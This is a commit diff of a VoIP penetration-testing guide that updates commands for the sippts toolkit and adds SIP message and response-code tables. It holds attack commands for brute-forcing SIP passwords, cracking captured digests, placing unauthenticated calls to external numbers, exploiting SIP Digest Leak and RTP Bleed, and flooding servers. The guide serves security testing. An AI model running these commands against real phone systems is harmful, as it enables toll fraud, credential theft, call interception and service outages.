Skip to content

Commit 96b2007

Browse files
authored
Update VoIP tools
1 parent ff6b54a commit 96b2007

File tree

1 file changed

+195
-40
lines changed
  • network-services-pentesting/pentesting-voip

1 file changed

+195
-40
lines changed

network-services-pentesting/pentesting-voip/README.md

Lines changed: 195 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,136 @@ To start learning about how VoIP works check:
2222
[basic-voip-protocols](basic-voip-protocols/)
2323
{% endcontent-ref %}
2424

25+
## Basic Messages
26+
27+
```
28+
Request name Description RFC references
29+
------------------------------------------------------------------------------------------------------
30+
REGISTER Register a SIP user. RFC 3261
31+
INVITE Initiate a dialog for establishing a call. RFC 3261
32+
ACK Confirm that an entity has received. RFC 3261
33+
BYE Signal termination of a dialog and end a call. RFC 3261
34+
CANCEL Cancel any pending request. RFC 3261
35+
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
36+
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
37+
PRACK Provisional acknowledgement. RFC 3262
38+
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
39+
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
40+
PUBLISH Publish an event to a notification server. RFC 3903
41+
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
42+
INFO Send mid-session information that does not modify the session state. RFC 6086
43+
OPTIONS Query the capabilities of an endpoint RFC 3261
44+
```
45+
46+
## Response Codes
47+
48+
**1xx—Provisional Responses**
49+
50+
```
51+
100 Trying
52+
180 Ringing
53+
181 Call is Being Forwarded
54+
182 Queued
55+
183 Session Progress
56+
199 Early Dialog Terminated
57+
```
58+
59+
**2xx—Successful Responses**
60+
61+
```
62+
200 OK
63+
202 Accepted
64+
204 No Notification
65+
```
66+
67+
**3xx—Redirection Responses**
68+
69+
```
70+
300 Multiple Choices
71+
301 Moved Permanently
72+
302 Moved Temporarily
73+
305 Use Proxy
74+
380 Alternative Service
75+
```
76+
77+
**4xx—Client Failure Responses**
78+
79+
```
80+
400 Bad Request
81+
401 Unauthorized
82+
402 Payment Required
83+
403 Forbidden
84+
404 Not Found
85+
405 Method Not Allowed
86+
406 Not Acceptable
87+
407 Proxy Authentication Required
88+
408 Request Timeout
89+
409 Conflict
90+
410 Gone
91+
411 Length Required
92+
412 Conditional Request Failed
93+
413 Request Entity Too Large
94+
414 Request-URI Too Long
95+
415 Unsupported Media Type
96+
416 Unsupported URI Scheme
97+
417 Unknown Resource-Priority
98+
420 Bad Extension
99+
421 Extension Required
100+
422 Session Interval Too Small
101+
423 Interval Too Brief
102+
424 Bad Location Information
103+
425 Bad Alert Message
104+
428 Use Identity Header
105+
429 Provide Referrer Identity
106+
430 Flow Failed
107+
433 Anonymity Disallowed
108+
436 Bad Identity-Info
109+
437 Unsupported Certificate
110+
438 Invalid Identity Header
111+
439 First Hop Lacks Outbound Support
112+
440 Max-Breadth Exceeded
113+
469 Bad Info Package
114+
470 Consent Needed
115+
480 Temporarily Unavailable
116+
481 Call/Transaction Does Not Exist
117+
482 Loop Detected
118+
483 Too Many Hops
119+
484 Address Incomplete
120+
485 Ambiguous
121+
486 Busy Here
122+
487 Request Terminated
123+
488 Not Acceptable Here
124+
489 Bad Event
125+
491 Request Pending
126+
493 Undecipherable
127+
494 Security Agreement Required
128+
```
129+
130+
**5xx—Server Failure Responses**
131+
132+
```
133+
500 Internal Server Error
134+
501 Not Implemented
135+
502 Bad Gateway
136+
503 Service Unavailable
137+
504 Server Time-out
138+
505 Version Not Supported
139+
513 Message Too Large
140+
555 Push Notification Service Not Supported
141+
580 Precondition Failure
142+
```
143+
144+
**6xx—Global Failure Responses**
145+
146+
```
147+
600 Busy Everywhere
148+
603 Decline
149+
604 Does Not Exist Anywhere
150+
606 Not Acceptable
151+
607 Unwanted
152+
608 Rejected
153+
```
154+
25155
## VoIP Enumeration
26156

27157
### Telephone Numbers
@@ -80,6 +210,11 @@ Any other OSINT enumeration that helps to identify VoIP software being used will
80210
### Network Enumeration
81211

82212
* **`nmap`** is capable of scanning UDP services, but because of the number of UDP services being scanned, it's very slow and might not be very accurate with this kind of services.
213+
214+
```bash
215+
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
216+
```
217+
83218
* **`svmap`** from SIPVicious (`sudo apt install sipvicious`): Will locate SIP services in the indicated network.
84219
* `svmap` is **easy to block** because it uses the User-Agent `friendly-scanner`, but you could modify the code from `/usr/share/sipvicious/sipvicious` and change it.
85220

@@ -88,18 +223,17 @@ Any other OSINT enumeration that helps to identify VoIP software being used will
88223
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
89224
```
90225

91-
* **`sipscan.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Sipscan is a very fast scanner for SIP services over UDP, TCP or TLS. It uses multithread and can scan large ranges of networks. It allows to easily indicate a port range, scan both TCP & UDP, use another method (by default it will use OPTIONS) and specify a different User-Agent (and more).
226+
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan is a very fast scanner for SIP services over UDP, TCP or TLS. It uses multithread and can scan large ranges of networks. It allows to easily indicate a port range, scan both TCP & UDP, use another method (by default it will use OPTIONS) and specify a different User-Agent (and more).
92227

93228
```bash
94-
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
229+
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
95230

96231
[!] IP/Network: 10.10.0.0/24
97232
[!] Port range: 5060-5080
98233
[!] Protocol: UDP, TCP, TLS
99234
[!] Method to scan: REGISTER
100235
[!] Customized User-Agent: Cisco
101236
[!] Used threads: 200
102-
103237
```
104238

105239
* **metasploit**:
@@ -124,10 +258,24 @@ The PBX could also be exposing other network services such as:
124258

125259
### Methods Enumeration
126260

127-
It's possible to find **which methods are available** to use in the PBX using `sipenumerate.py` from [**sippts**](https://github.com/Pepelux/sippts)
261+
It's possible to find **which methods are available** to use in the PBX using `SIPPTS enumerate` from [**sippts**](https://github.com/Pepelux/sippts)
128262

129263
```bash
130-
python3 sipenumerate.py -i 10.10.0.10 -r 5080
264+
sippts enumerate -i 10.10.0.10
265+
```
266+
267+
### Analysing server responses
268+
269+
It is very important to analyse the headers that a server sends back to us, depending on the type of message and headers that we send. With `SIPPTS send` from [**sippts**](https://github.com/Pepelux/sippts) we can send personalised messages, manipulating all the headers, and analyse the response.
270+
271+
```bash
272+
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
273+
```
274+
275+
It is also possible to obtain data if the server uses websockets. With `SIPPTS wssend` from [**sippts**](https://github.com/Pepelux/sippts) we can send personalised WS messages.
276+
277+
```bash
278+
sippts wssend -i 10.10.0.10 -r 443 -path /ws
131279
```
132280

133281
### Extension Enumeration
@@ -140,10 +288,10 @@ Extensions in a PBX (Private Branch Exchange) system refer to the **unique inter
140288
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
141289
```
142290

143-
* **`sipextend.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Sipexten identifies extensions on a SIP server. Sipexten can check large network and port ranges.
291+
* **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifies extensions on a SIP server. Sipexten can check large network and port ranges.
144292

145293
```bash
146-
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
294+
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
147295
```
148296

149297
* **metasploit**: You can also enumerate extensions/usernames with metasploit:
@@ -162,7 +310,7 @@ enumiax -v -m3 -M3 10.10.0.10
162310

163311
## VoIP Attacks
164312

165-
### Password Brute-Force
313+
### Password Brute-Force - online
166314

167315
Having discovered the **PBX** and some **extensions/usernames**, a Red Team could try to **authenticate via the `REGISTER` method** to an extension using a dictionary of common passwords to brute force the authentication.
168316

@@ -179,13 +327,11 @@ svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
179327
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
180328
```
181329

182-
* **`sipcrack.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIP Digest Crack is a tool to crack the digest authentications within the SIP protocol.
330+
* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack is a remote password cracker for SIP services. Rcrack can test passwords for several users in different IPs and port ranges.
183331

184-
{% code overflow="wrap" %}
185332
```bash
186-
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
333+
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
187334
```
188-
{% endcode %}
189335

190336
* **Metasploit**:
191337
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
@@ -204,7 +350,7 @@ Note that if **TLS is used in the SIP communication** you won't be able to see t
204350
The same will happen if **SRTP** and **ZRTP** is used, **RTP packets won't be in clear text**.
205351
{% endhint %}
206352

207-
#### SIP credentials
353+
#### SIP credentials (Password Brute-Force - offline)
208354

209355
[Check this example to understand better a **SIP REGISTER communication**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) to learn how are **credentials being sent**.
210356

@@ -215,15 +361,23 @@ sipdump -p net-capture.pcap sip-creds.txt
215361
sipcrack sip-creds.txt -w dict.txt
216362
```
217363

218-
* **`siptshar.py`, `sipdump.py`, `sipcrack.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:**
219-
* **SipTshark** extracts data of SIP protocol from a PCAP file.
220-
* **SipDump** Extracts SIP Digest authentications from a PCAP file.
221-
* **SIP Digest Crack** is a tool to crack the digest authentications within the SIP protocol.
364+
* **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump can extract digest authentications from a pcap file.
365+
366+
```bash
367+
sippts dump -f capture.pcap -o data.txt
368+
```
369+
370+
* **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack is a tool to crack the digest authentications obtained with SIPPTS dump.
371+
372+
```bash
373+
sippts dcrack -f data.txt -w wordlist/rockyou.txt
374+
```
375+
376+
377+
* **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark extracts data of SIP protocol from a PCAP file.
222378

223379
```bash
224-
python3 siptshark.py -f captura3.pcap [-filter auth]
225-
python3 sipdump.py -f captura3.pcap -o data.txt
226-
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
380+
sippts tshark -f capture.pcap [-filter auth]
227381
```
228382

229383
#### DTMF codes
@@ -311,17 +465,17 @@ Anyone will be able to use the **server to call to any other number** (and the a
311465
Moreover, by default the **`sip.conf`** file contains **`allowguest=true`**, then **any** attacker with **no authentication** will be able to call to any other number.
312466
{% endhint %}
313467

314-
* **`sipinvite.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Sipinvite checks if a **PBX server allows us to make calls without authentication**. If the SIP server has an incorrect configuration, it will allow us to make calls to external numbers. It can also allow us to transfer the call to a second external number.
468+
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite checks if a **PBX server allows us to make calls without authentication**. If the SIP server has an incorrect configuration, it will allow us to make calls to external numbers. It can also allow us to transfer the call to a second external number.
315469

316470
For example, if your Asterisk server has a bad context configuration, you can accept INVITE request without authorization. In this case, an attacker can make calls without knowing any user/pass.
317471

318472
{% code overflow="wrap" %}
319473
```bash
320474
# Trying to make a call to the number 555555555 (without auth) with source number 200.
321-
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
475+
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
322476

323477
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
324-
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
478+
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
325479
```
326480
{% endcode %}
327481

@@ -374,24 +528,24 @@ exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
374528

375529
Therefore, a call to the extension **`101`** and **`123123123`** will be send and only the first one getting the call would be stablished... but if an attacker use an **extension that bypasses any match** that is being performed but doesn't exist, he could be **inject a call only to the desired number**.
376530

377-
## SIPDigestLeak
531+
## SIPDigestLeak vulnerability
378532

379533
The SIP Digest Leak is a vulnerability that affects a large number of SIP Phones, including both hardware and software IP Phones as well as phone adapters (VoIP to analogue). The vulnerability allows **leakage of the Digest authentication response**, which is computed from the password. An **offline password attack is then possible** and can recover most passwords based on the challenge response.
380534

381535
**[Vulnerability scenario from here**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
382536

383-
1. An IP Phone (victim) is listening on port 5060, accepting phone calls
537+
1. An IP Phone (victim) is listening on any port (for example: 5060), accepting phone calls
384538
2. The attacker sends an INVITE to the IP Phone
385539
3. The victim phone starts ringing and someone picks up and hangs up (because no one answers the phone at the other end)
386540
4. When the phone is hung up, the **victim phone sends a BYE to the attacker**
387541
5. The **attacker issues a 407 response** that **asks for authentication** and issues an authentication challenge
388542
6. The **victim phone provides a response to the authentication challenge** in a second BYE
389543
7. The **attacker can then issue a brute-force attack** on the challenge response on his local machine (or distributed network etc) and guess the password
390544

391-
* **sipdigestleak.py** from [**sippts**](https://github.com/Pepelux/sippts)**:** SipDigestLeak exploits this vulnerability.
545+
* **SIPPTS leak** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak exploits the SIP Digest Leak vulnerability that affects a large number of SIP Phones. The output can be saved in SipCrack format to bruteforce it using SIPPTS dcrack or the SipCrack tool.
392546

393547
```bash
394-
python3 sipdigestleak.py -i 10.10.0.10
548+
sippts leak -i 10.10.0.10
395549

396550
[!] Target: 10.10.0.10:5060/UDP
397551
[!] Caller: 100
@@ -467,7 +621,7 @@ You could also even make Asterisk **execute a script that will leak the call** w
467621
exten => h,1,System(/tmp/leak_conv.sh &)
468622
```
469623

470-
### RTCPBleed
624+
### RTCPBleed vulnerability
471625

472626
**RTCPBleed** is a major security issue affecting Asterisk-based VoIP servers (published in 2017). The vulnerability allows **RTP (Real Time Protocol) traffic**, which carries VoIP conversations, to be **intercepted and redirected by anyone on the Internet**. This occurs because RTP traffic bypasses authentication when navigating through NAT (Network Address Translation) firewalls.
473627

@@ -479,28 +633,28 @@ Asterisk and FreePBX have traditionally used the **`NAT=yes` setting**, which en
479633

480634
For more info check [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
481635

482-
* **`rtpbleed.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** It detects the RTP Bleed vulnerability sending RTP streams
636+
* **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detects the RTP Bleed vulnerability sending RTP streams.
483637

484638
```bash
485-
python3 rtpbleed.py -i 10.10.0.10
639+
sippts rtpbleed -i 10.10.0.10
486640
```
487641

488-
* **`rtcpbleed.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** It detects the RTP Bleed vulnerability sending RTP streams
642+
* **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed detects the RTP Bleed vulnerability sending RTCP streams.
489643

490644
```bash
491-
python3 rtcpbleed.py -i 10.10.0.10
645+
sippts rtcpbleed -i 10.10.0.10
492646
```
493647

494-
* **`rtpbleedflood.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Exploit the RTP Bleed vulnerability sending RTP streams
648+
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood exploit the RTP Bleed vulnerability sending RTP streams.
495649

496650
```bash
497-
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
651+
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
498652
```
499653

500-
* **`rtpbleedinject.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Exploit the RTP Bleed vulnerability sending RTP streams (from an audio file)
654+
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject exploit the RTP Bleed vulnerability injecting an audio file (WAV format).
501655

502656
```bash
503-
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
657+
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
504658
```
505659

506660
### RCE
@@ -541,16 +695,16 @@ Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando
541695

542696
There are several ways to try to achieve DoS in VoIP servers.
543697

544-
* **`sipflood.py`** from [**sippts**](https://github.com/Pepelux/sippts)**: **_**SipFlood**_ sends unlimited messages to the target
545-
* `python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v`
698+
* **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood sends unlimited messages to the target.
699+
* `sippts flood -i 10.10.0.10 -m invite -v`
700+
* **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping makes a SIP ping to see the server response time.
701+
* `sippts ping -i 10.10.0.10`
546702
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk
547703
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
548704
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
549705
* [**SIPp**](https://github.com/SIPp/sipp): Allows to analyze and generate SIP traffic. so it can be used to DoS also.
550706
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP swiss army knife. Can also be used to perform SIP attacks.
551707
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
552-
* **`sipsend.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPSend allow us to send a **customized SIP message** and analyze the response.
553-
* **`wssend.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** WsSend allow us to send a customized SIP message over WebSockets and analyze the response.
554708

555709
### OS Vulnerabilities
556710

@@ -559,6 +713,7 @@ The easiest way to install a software such as Asterisk is to download an **OS di
559713
## References
560714

561715
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
716+
* [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious)
562717
* [http://blog.pepelux.org/](http://blog.pepelux.org/)
563718
* [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
564719
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)

0 commit comments

Comments
 (0)